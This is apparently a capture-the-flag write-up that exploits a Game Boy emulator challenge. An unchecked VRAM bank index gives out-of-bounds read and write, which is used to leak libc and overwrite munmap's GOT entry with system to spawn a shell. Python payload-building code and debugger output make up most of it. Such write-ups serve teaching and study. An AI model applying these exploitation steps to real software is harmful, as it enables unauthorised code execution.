To recap from https://ditt0.medium.com/gameboi-vm-part-1-895418797e01, the bug allows us to go OOB and modify the VRAM
in write_VBK
:
void write_VBK(byte data){
printf("data: %d\n", data);
// no checks of data hence,
// bus->mapper->VRAM_banks[data] goes OOB
bus->VRAM = bus->mapper->VRAM_banks[data];
printf("bus->VRAM: 0x%x\n", bus->mapper->VRAM_banks[data]);
bus->mapper->cur_VRAM = data;
}
and subsequently, we can use the corrupted VRAM to craft more primitives:
byte read_bus_generic(address addr){
byte ret = 0;
if(addr >= VRAM_START && addr < EXRAM_START){
ret = bus->VRAM[addr-VRAM_START]; // OOB read
}
...
}
void write_bus_generic(address addr, byte data){
if(addr >= VRAM_START && addr < EXRAM_START){
if(bus->mem_perms == OAM_VRAM_BLOCKED)
return;
bus->VRAM[addr-VRAM_START] = data; // OOB write
}
...
}
Lets start by looking at what can we modify bus->VRAM to.
At index 0x3C, we see a heap pointer which points back to index 0x36. Also, there are multiple function pointers like read_joycon
and write_joycon
.
By going OOB and modifying my VRAM to index 0x3C, I can start writing in this heap region and corrupt function pointers. This was my initial step.
Now lets try to get a plan, keeping in mind that I probably have to get arbitrary read/write. To do this, I have to read the code more.
To get arbitrary read/write, I will need the following primitives:
- Craft/copy a pointer on the heap
- Increment the pointer
- Modify my VRAM to the pointer: this is pretty straightforward — by just calling
write_VBK
again.
My overall plan is to corrupt munmap
in the GOT
to system
, and subsequently trigger munmap(“/bin/sh”)
=> system(“/bin/sh”)
.
To achieve the plan, I need to leak GOT, libc address and write to GOT. Keeping in mind the overall plan, lets look at how to get the above primitives.
[1] Craft/copy a pointer on the heap
After modifying our VRAM to point to the heap, we can use read_bus_generic
and write_bus_generic
.
def read_into_CPU_A(offset):
global PC
global tmp_word_ptr
global payload
payload[PC] = 250 # 250
packed_word = struct.pack('<H', 0x8000 + offset)
payload[PC+1:PC+3] = packed_word
PC += 3
def copy_pie_into_rom():
global data_offset
write_CPU_A(0x3C) # oob 0x3C
write_addr_CPU_A(0xFF4F) # triggers write_VBK to modify VRAM
for i in range(0, 8):
read_into_CPU_A(0x18+i)
write_CPU_A_to_addr(0xE0 + i + data_offset)
data_offset += 8
To trigger read_bus_generic
, we need to specific an address above 0x8000 which is why I added 0x8000 in read_into_CPU_A
function above:
uint8_t exec_instr(byte opcode) {
...
case LD_A_MEM: // 250
printf("LD_A_MEM\n");
cpu.A = read_bus(tmp_word);
printf("reading bus: %d\n", tmp_word);
printf("cpu.A: %d\n", cpu.A);
break;
...
}
byte read_bus(address addr){
byte ret;
if((addr >= 0x8000 && addr < 0xA000) || addr >= 0xC000){
ret = read_bus_generic(addr);
} else {
ret = bus->mapper->read(addr);
}
return ret;
}
byte read_bus_generic(address addr){
byte ret = 0;
if(addr >= VRAM_START && addr < EXRAM_START){
ret = bus->VRAM[addr-VRAM_START];
}
...
}
So we can read from bus->VRAM
into cpu.A
. The first thing I did was to copy the address of read_joycon
and modify it to point to GOT
of setvbuf
so that I could leak a libc address. This is done with the copy_heap_into_rom
method:
def copy_pie_into_rom():
global data_offset
write_CPU_A(0x3C) # oob 0x3C
write_addr_CPU_A(0xFF4F) # triggers write_VBK to modify VRAM
for i in range(0, 8):
read_into_CPU_A(0x18+i)
write_CPU_A_to_addr(0xE0 + i + data_offset)
data_offset += 8
After modifying write_VBK, I will read write_joycon which is at offset 0x18. Then I will copy that into offset 0xE0 and 0xE8.
Then, I will modify write_joycon
to setvbuf
:
# make 2nd write_joycon into setvbuf
read_into_CPU_A(0xE0+8)
write_CPU_A_Addition(0x88) # overwrite to setvbuf
write_CPU_A_to_addr(0xE0+8)
read_into_CPU_A(0xE1+8)
write_CPU_A_Addition(0xE0-0x58) # CPU.A now is big
write_CPU_A_to_addr(0xE1+8)
[0x5803aafbd058] setvbuf@GLIBC_2.2.5 -> 0x7b817ce88540 (setvbuf) ◂— endbr64
[0x5803aafb48d0] write_joycon
To change write_joycon
to setvbuf
, I will add 0x88
to the first byte to change 0xD0
to wrap around to 0x58
, and add 0x88
to the second byte to change 0x48
to 0xD0
. The end result is as such, you can check the address of write_joycon at index 3 below.
[2] Increment the pointer
For the addition primitive I mentioned above, I used the following opcode:
uint8_t exec_instr(byte opcode) {
...
case ADD_n: // 198
case ADC_N:
case SUB_n:
case SBC_n:
case AND_n:
case XOR_n:
case OR_n:
case CP_n:
printf("ADD_n\n");
logic_arith_8bit((opcode >> 3) & 7, tmp_byte);
break;
...
}
void logic_arith_8bit(byte operation, uint8_t value){
uint8_t result = 1;
switch(operation){
case ADD:
printf("add(cpu.A: %d, value: %d)\n", cpu.A, value);
result = add(cpu.A, value);
cpu.A = result;
break;
...
}
Now I want to copy the libc address in GOT of setvbuf
into munmap
.
This can be done like so:
- Trigger
write_VBK
and modifyVRAM
toGOT
ofsetvbuf
- Do OOB write to copy libc address of
setvbuf
tomunmap
- In the midst of copying, add the first and second byte to make it point to
system
# dereference that and write into munmap got
write_CPU_A(0x53) # oob 0x53 (to get the heap pointing to setvbuf)
write_addr_CPU_A(0xFF4F) # write_VBK
## now VRAM is set to setvbuf, reading will copy
for i in range(0, 8):
read_into_CPU_A(i)
if (i == 1):
write_CPU_A_Addition(0x2)
if (i == 2):
write_CPU_A_Addition(0xFD)
write_CPU_A_to_addr(0xD0 - 0x58 + i) # copy setbbuf into munmap
The offset 0x53
is in the bus->VRAM_banks
to modify VRAM
to GOT
of setvbuf
. Then the offset 0xD0–0x58+i
is to corrupt the GOT
of munmap
. The final result is as such:
Now when we end the ROM game, we can trigger system(“bin/sh”)
! To end the game,
def exit_cpu():
global PC
global tmp_word_ptr
global payload
payload[PC] = 211
PC += 1
# To set emu.running to 0, we just have to increment cpu_cycle()
# Call opcode 211
'''
pwndbg> p instr_table[211]
$83 = {
opcode = 0 '\000',
instr_fmt = '\000' <repeats 23 times>,
size = 0 '\000',
T_cycles = 0 '\000'
}
then cycles will be 0
'''
exit_cpu()
Then cycles will not be incremented and we will exit:
void run()
{
LOG(INFO, "Beginning ROM execution");
while(emu.running){
...
if((t_cycles = cpu_cycle()) == 0) emu.running = false; //trigger HALT
}
printf("Ending ROM execution\n");
getchar();
cleanup(0);
}
// cleanup
void release_mapper(mapper_t* map){
munmap(map->ROM_banks[0], map->rom_size);
...
}
You can find the final POC here.